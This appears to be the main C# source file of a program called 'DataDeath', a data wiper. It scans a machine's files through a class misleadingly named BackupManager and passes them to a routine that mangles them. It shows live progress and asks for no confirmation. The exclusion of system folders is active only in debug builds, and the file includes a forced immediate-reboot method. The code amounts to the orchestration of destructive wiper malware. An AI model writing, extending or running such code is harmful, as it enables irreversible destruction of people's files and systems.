DataDeath/DataDeath/Program.cs
0% [█ █ █ █ █ █ █ █ █ █] 100% 62e6a527db Initial commit
2026-06-02 12:58:36 -05:00

152 lines
6.8 KiB
C#

using System;
using System.Collections.Concurrent;
using System.Diagnostics;
using System.Threading.Tasks;
namespace DataDeath
{
class Program
{
static readonly object _consoleLock = new object();
static async Task Main(string[] args)
{
// Start tracking total execution time
Stopwatch totalTimer = Stopwatch.StartNew();
BackupManager manager = new BackupManager();
manager.OnProgress += (sender, e) =>
{
lock (_consoleLock)
{
// Scan progress stays at the very top (Lines 0-3)
Console.SetCursorPosition(0, 0);
int width = Console.WindowWidth - 1;
Console.WriteLine($"Scan Status: {e.ScanPhase}".PadRight(width));
Console.WriteLine($"Files Found: {e.FilesFound:N0}".PadRight(width));
Console.WriteLine($"Size Found: {BytesToReadable(e.TotalBytesFound)}".PadRight(width));
string displayDir = e.CurrentDirectory;
if (displayDir.Length > Console.WindowWidth - 15)
displayDir = "..." + displayDir.Substring(displayDir.Length - (Console.WindowWidth - 18));
Console.WriteLine($"Scanning: {displayDir}".PadRight(width));
// Draw a separator between Scan and Destruction sections
Console.WriteLine(new string('=', width));
}
};
FileDestruction.OnProgress += (sender, e) =>
{
lock (_consoleLock)
{
// Destruction progress starts below the scan progress (Line 5)
Console.SetCursorPosition(0, 5);
int width = Console.WindowWidth - 1;
Console.WriteLine("Dest Status: DESTROYING FILES".PadRight(width));
string displayFile = e.CurrentFile;
if (displayFile.Length > Console.WindowWidth - 15)
displayFile = "..." + displayFile.Substring(displayFile.Length - (Console.WindowWidth - 18));
Console.WriteLine($"Working On: {displayFile}".PadRight(width));
double filePerc = e.CurrentFileTotalBytes == 0 ? 1.0 : (double)e.CurrentFileBytesProcessed / e.CurrentFileTotalBytes;
int barWidth = width - 25;
if (barWidth < 10) barWidth = 10; // Safety fallback for very narrow consoles
int progressChars = (int)(filePerc * barWidth);
string bar = $"[{new string('#', progressChars)}{new string('-', barWidth - progressChars)}] {filePerc:P1}";
Console.WriteLine($"File Prog: {bar}".PadRight(width));
Console.WriteLine(new string('-', width));
long totalProcessedCount = e.FilesCompleted + e.FilesFailed;
long filesRemaining = e.TotalFiles - totalProcessedCount;
Console.WriteLine($"SUCCESS: {e.FilesCompleted:N0} files ({BytesToReadable(e.BytesCompleted)})".PadRight(width));
Console.WriteLine($"FAILED: {e.FilesFailed:N0} files ({BytesToReadable(e.BytesFailed)})".PadRight(width));
Console.WriteLine($"REMAINING: {filesRemaining:N0} files".PadRight(width));
Console.WriteLine(new string('-', width));
double overallPerc = e.TotalFiles == 0 ? 1.0 : (double)totalProcessedCount / e.TotalFiles;
Console.WriteLine($"OVERALL: {totalProcessedCount:N0} / {e.TotalFiles:N0} processed {overallPerc:P1}".PadRight(width));
}
};
Console.CursorVisible = false;
Console.Clear();
Console.WriteLine("Starting Destruction!");
// This line can be disabled in prod.
// It subtracts some extra time to the scanning phase, but it ensures that system folders are not included in the destruction process.
#if DEBUG
manager.AvoidSystemFolders = true;
#endif
// Bounded collection prevents memory issues if scanning is much faster than destruction
using (BlockingCollection<string> fileQueue = new BlockingCollection<string>(50000))
{
// Start the scanning process on a background thread
Task scanTask = Task.Run(() =>
{
manager.DiscoverFiles(fileQueue);
fileQueue.CompleteAdding(); // Signal that no more files will be added
});
// Start the destruction process concurrently, feeding off the queue
Task<DestructionResult> destroyTask = FileDestruction.MangleFilesAsync(fileQueue, manager);
// Wait for both to finish
await Task.WhenAll(scanTask, destroyTask);
// Stop the timer once all tasks are complete
totalTimer.Stop();
var destructionResult = destroyTask.Result;
lock (_consoleLock)
{
// Output the final summary below all the live-updating text (Line 16)
Console.SetCursorPosition(0, 16);
Console.WriteLine(new string('=', 30));
Console.WriteLine("DESTRUCTION COMPLETE");
Console.WriteLine($"Total Time: {totalTimer.Elapsed:hh\\:mm\\:ss}");
Console.WriteLine($"Successful: {destructionResult.FilesCompleted:N0} files ({BytesToReadable(destructionResult.BytesCompleted)})");
Console.WriteLine($"Failed: {destructionResult.FilesFailed:N0} files ({BytesToReadable(destructionResult.BytesFailed)})");
Console.WriteLine(new string('=', 30));
Console.CursorVisible = true;
}
}
//Reboot();
Console.ReadLine();
}
public static void Reboot()
{
// Restart with 0 seconds delay
ProcessStartInfo inf = new ProcessStartInfo
{
FileName = "shutdown.exe",
Arguments = "/f /r /t 0",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
Process.Start(inf).WaitForExit();
}
static string BytesToReadable(long bytes)
{
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
if (bytes == 0)
return "0 " + suf[0];
long absoluteBytes = Math.Abs(bytes);
int place = Convert.ToInt32(Math.Floor(Math.Log(absoluteBytes, 1024)));
double num = Math.Round(absoluteBytes / Math.Pow(1024, place), 2);
return $"{Math.Sign(bytes) * num:N2} {suf[place]}";
}
}
}